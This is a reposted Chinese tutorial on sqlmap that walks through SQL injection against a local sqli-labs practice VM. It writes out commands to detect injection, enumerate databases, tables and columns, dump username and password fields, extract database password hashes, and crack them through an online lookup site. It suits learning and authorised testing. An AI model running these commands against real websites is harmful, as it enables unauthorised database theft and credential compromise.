安基网 首页 安全 Web安全 查看内容

专门用于sql扫描、注入的神器sqlmap——sqlmap入门详解实战

2020-2-18 16:34| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!Sqlmap介绍sqlmap是一个自动化的SQL注入工具,其主要功能就是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、POStgreSQL、Microsoft SQL Server、Access、IBM DB2、SQLLite、FireBi ...

本文仅用于讨论网络安全技术,以保护信息安全为目的,请勿用于非法用途!

Sqlmap介绍

sqlmap是一个自动化的SQL注入工具,其主要功能就是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、POStgreSQL、Microsoft SQL Server、Access、IBM DB2、SQLLite、FireBird等。


注入方式介绍

基于布尔类型的盲注:根据返回页面判断条件的真假注入

基于时间的注入:要用条件语句查看时间延迟语句是否已执行来判断

基于报错注入:页面返回错误信息,或者把注入的语句的结果直接返回到页面中

联合查询注入:在可以使用Union的情况下的注入

堆查询注入:可以同时执行多条语句时的注入

SQLMap的强大功能包括数据库指纹识别、数据库枚举、数据窃取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的结果!

SQLMap入门

kali安装sqlmap:

apt-get install sqlmap

输入sqlmap验证:

注意:进行测试之前,将win7靶机开启,而且要开启WAMP web的所有服务!

判断是否存在注入

假设目标注入点是192.168.31.16/sql/Less-1/?id=1

这个URL就是win7靶机中的这个页面对应处,因为之前搭建过sql注入环境,下图所示。

kali终端下输入:

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1

如下图所示,id存在注入,而且判断对方的数据库可能是MySQL,另外提醒我们要不要进行其他扫描,一般默认回车!

参数ID存在漏洞

最后的系统信息以及将扫描结果保存在kali本地路径下

.sqlmap是隐藏文件夹,kali搜索栏可直接输入.sqlmap搜索到

从文本请求是否存在注入

从文件中加载HTTP请求,SQLMap可以从文本中获取HTTP请求,这样就不用设置其他参数(cookie、POST数据),txt文件的内容是web数据包。

首先在kali中使用文本编辑器输入下面请求头信息:

GET /sql/Less-1/?id=1 HTTP/1.1

Host: 192.168.31.16

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:39.0) Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Connection: close

Upgrade-Insecure-Requests: 1

保存在kali主文件夹(就是root文件及)中

接下来使用sqlmap判断是否存在注入:

sqlmap -r /root/1.txt

就能看到扫描出来了id参数存在注入,另外后台数据库显示为mysql。

查询当前数据库下的所有数据库

下面的命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。

sqlmap -u id=1 --dbs

如果当前用户有权限读取包含所有数据库列表信息的表,使用上面命令就可以列出所有数据库。下面的数据库显然是我们之前在win7创建的数据库名!

获取某个数据库中的表名

该命令的作用是查询完数据库后,查询指定的数据库中所有的表名

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 -D security --tables

-D表示继续查询某一个指定的数据库,比如security数据库。--tables,就是指出要列出这个当前security数据库的所有表名。

已经成功查询到数据库security中有4个tables(方框中)。

获取表中的字段名

该命令的作用就是查询完表名后,继续查询这个表中的所有字段

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 -D security -T users --columns

显示数据库security中的表users中的字段有三个,方框中!

获取字段内容

既然已经看到字段,那么添加参数--dump即可。

下面的命令在查询字段名后,就会获取该字段中具体的数据信息

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 -D security -T users -C username,password --dump

发现使用了-C指定字段名,再使用--dump就能获取这些字段中的值(内容)。

获取数据库的所有用户

该命令的作用是列出数据库的所有用户

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --users

只要当前用户有权限读取包含所有用户的表的权限时,这个命令就能列出所有的管理员用户。

获取数据库用户的密码

数据库登录使用用户的密码可以使用下面的命令查询

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --passwords

由于这个数据库中并没有设置用户密码,所以读取是NULL,空密码!

如果存在密码,首先会打印出所有用户和密码Hash(MySQL5加密的密码),只需前往www.cmd5.com中自行解密即可(复制加密的长串字符即可)。

获取当前数据库的名称

下面命令可以列出当前网站使用的数据库

sqlmap -u http://192.168.31.16/sql/Less-1/?id=1 --current-db

这里当前win7web使用的数据库名是security。

获取当前网站数据库的用户名称

下面命令即可获取当前网站使用的数据库用户

sqlmap -u --current-user

如图所示,显示当前用户是最高root用户。

到此,我们已经初步学习了SqlMap的基本操作。这些都是入门级别的,大家肯定也许会问,今天的这个没有具体实战,是的,目前就是要熟悉这个SQL注入工具的参数使用,其实它也是针对一个注入URL进行测试的。后面还会介绍SqlMap的进阶讲解。

web安全我想说

更多kali渗透、Web渗透、安卓渗透等嘿客技术。请关注小白嘿客,私信"想学"。欢迎在下方评论区留言讨论!



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6794660774921896460/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部